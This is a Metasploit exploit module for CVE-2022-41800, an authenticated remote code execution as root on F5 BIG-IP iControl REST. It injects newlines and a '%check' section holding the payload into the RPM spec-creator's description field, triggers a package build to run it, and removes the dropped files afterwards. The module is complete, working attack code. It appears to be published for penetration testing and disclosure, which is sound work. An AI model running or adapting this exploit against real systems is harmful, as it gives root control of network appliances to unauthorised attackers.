## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'F5 BIG-IP iControl Authenticated RCE via RPM Creator', 'Description' => %q{ This module exploits a newline injection into an RPM .rpmspec file that permits authenticated users to remotely execute commands. Successful exploitation results in remote code execution as the root user. }, 'Author' => [ 'Ron Bowes' # Discovery, PoC, and module ], 'References' => [ ['CVE', '2022-41800'], ['URL', 'https://www.rapid7.com/blog/post/2022/11/16/cve-2022-41622-and-cve-2022-41800-fixed-f5-big-ip-and-icontrol-rest-vulnerabilities-and-exposures/'], ['URL', 'https://support.f5.com/csp/article/K97843387'], ['URL', 'https://support.f5.com/csp/article/K13325942'], ], 'License' => MSF_LICENSE, 'DisclosureDate' => '2022-11-16', # Vendor advisory 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD], 'Privileged' => true, 'Targets' => [ [ 'Default', {} ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true, 'PrependFork' => true, # Needed to avoid warnings about timeouts and potential failures across attempts. 'MeterpreterTryToFork' => true # Needed to avoid warnings about timeouts and potential failures across attempts. }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], # One at a time 'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ] } ) ) register_options( [ OptString.new('HttpUsername', [true, 'iControl username', 'admin']), OptString.new('HttpPassword', [true, 'iControl password', '']) ] ) end def exploit # The RPM name is based on these, so we need these to delete the RPM file after name = rand_text_alphanumeric(5..10) version = "#{rand_text_numeric(1)}.#{rand_text_numeric(1)}.#{rand_text_numeric(1)}" release = "#{rand_text_numeric(1)}.#{rand_text_numeric(1)}.#{rand_text_numeric(1)}" vprint_status('Creating an .rpmspec file on the target...') result = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/mgmt/shared/iapp/rpm-spec-creator'), 'ctype' => 'application/json', 'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']), 'data' => { 'specFileData' => { 'name' => name, 'srcBasePath' => '/tmp', 'version' => version, 'release' => release, # This is the injection - add newlines then a '%check' section 'description' => "\n\n%check\n#{payload.encoded}\n", 'summary' => rand_text_alphanumeric(5..10) } }.to_json }) fail_with(Failure::Unknown, 'Failed to send HTTP request') unless result fail_with(Failure::NoAccess, 'Authentication failed') if result.code == 401 fail_with(Failure::UnexpectedReply, "Server returned an unexpected response: HTTP/#{result.code}") if result.code != 200 json = result&.get_json_document fail_with(Failure::UnexpectedReply, "Server didn't return valid JSON") unless json file_path = json['specFilePath'] fail_with(Failure::UnexpectedReply, "Server didn't return a specFilePath") unless file_path vprint_status("Created spec file: #{file_path}") register_file_for_cleanup(file_path) # We can also use `exit 1` in the %check function to prevent this file # from being created, rather than cleaning it up.. but that seems noisier? # Neither option gets logged so /shrug register_file_for_cleanup("/var/config/rest/node/tmp/RPMS/noarch/#{name}-#{version}-#{release}.noarch.rpm") vprint_status('Building the RPM to trigger the payload...') result = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/mgmt/shared/iapp/build-package'), 'ctype' => 'application/json', 'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']), 'data' => { 'state' => {}, 'appName' => rand_text_alphanumeric(5..10), 'packageDirectory' => '/tmp', 'specFilePath' => file_path }.to_json }) fail_with(Failure::Unknown, 'Failed to send HTTP request') unless result fail_with(Failure::NoAccess, 'Authentication failed') if result.code == 401 fail_with(Failure::UnexpectedReply, "Server returned an unexpected response: HTTP/#{result.code}") if result.code < 200 || result.code > 299 end end